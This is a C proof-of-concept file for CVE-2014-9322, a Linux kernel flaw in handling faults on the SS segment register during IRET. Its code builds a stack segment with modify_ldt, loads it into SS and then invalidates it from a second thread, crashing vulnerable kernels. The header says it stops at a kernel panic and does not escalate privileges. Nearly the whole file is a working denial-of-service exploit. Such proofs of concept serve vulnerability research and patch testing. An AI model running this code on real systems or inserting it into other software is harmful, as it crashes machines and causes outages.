/* ----------------------------------------------------------------------------------------------------
* cve-2014-9322_poc.c
*
* arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
* properly handle faults associated with the Stack Segment (SS) segment
* register, which allows local users to gain privileges by triggering an IRET
* instruction that leads to access to a GS Base address from the wrong space.
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
*
* I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
* More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
*
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c -lpthread
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/
// Only works on x86_64 platform
#ifdef __x86_64__
/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <sys/time.h>
#include <inttypes.h>
#include <stdbool.h>
#include <errno.h>
#include <sys/user.h>
/* ----------------------- definitions ----------------------------*/
#define TARGET_KERNEL_MIN "3.0.0"
#define TARGET_KERNEL_MAX "3.17.4"
#define EXPLOIT_NAME "cve-2014-9322"
#define EXPLOIT_TYPE DOS
#define FALSE_SS_BASE 0x10000UL
#define MAP_SIZE 0x10000
/* ----------------------- Global variables ----------------------------*/
struct user_desc new_stack_segment;
/* ----------------------- functions ----------------------------*/
/**
* Creates a new segment in Local Descriptor Table
*/
static bool add_ldt(struct user_desc *desc, const char *name)
{
if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0)
{
return true;
}
else
{
printf("[cve_2014_9322 error]: Failed to create %s segment\n", name);
printf("modify_ldt failed, %s\n", strerror(errno));
return false;
}
}
int FLAG = 0;
void * segManipulatorThread(void * none)
{
new_stack_segment.entry_number = 0x12;
new_stack_segment.base_addr = 0x10000;
new_stack_segment.limit = 0xffff;
new_stack_segment.seg_32bit = 1;
new_stack_segment.contents = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
new_stack_segment.read_exec_only = 0;
new_stack_segment.limit_in_pages = 0;
new_stack_segment.seg_not_present = 0;
new_stack_segment.useable = 0;
new_stack_segment.lm = 0;
// Create a new stack segment
add_ldt(&new_stack_segment, "newSS");
// Wait for main thread to use new stack segment
sleep(3);
// Invalidate stack segment
new_stack_segment.seg_not_present = 1;
add_ldt(&new_stack_segment, "newSS disable");
FLAG = 1;
sleep(15);
return NULL;
}
/**
* DOS poc for cve_2014_9322 vulnerability
*/
int main()
{
pthread_t thread1;
uint8_t *code;
printf("[cve_2014_9322]: Preparing to exploit.\n");
// map area for false SS
code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (code != (uint8_t *) FALSE_SS_BASE)
{
fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE);
return -1;
}
printf("[cve_2014_9322]: Panic!\n");
if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0)
{
perror("[cve_2014_9322 error]: pthread_create");
return false;
}
// Wait for segManipulatorThread to create new stack segment
sleep(1);
// Set stack segment to newly created one in segManipulatorThread
asm volatile ("mov %0, %%ss;"
:
:"r" (0x97)
);
while(FLAG == 0){};
sleep(4);
return 0;
}
#endif // __x86_64__
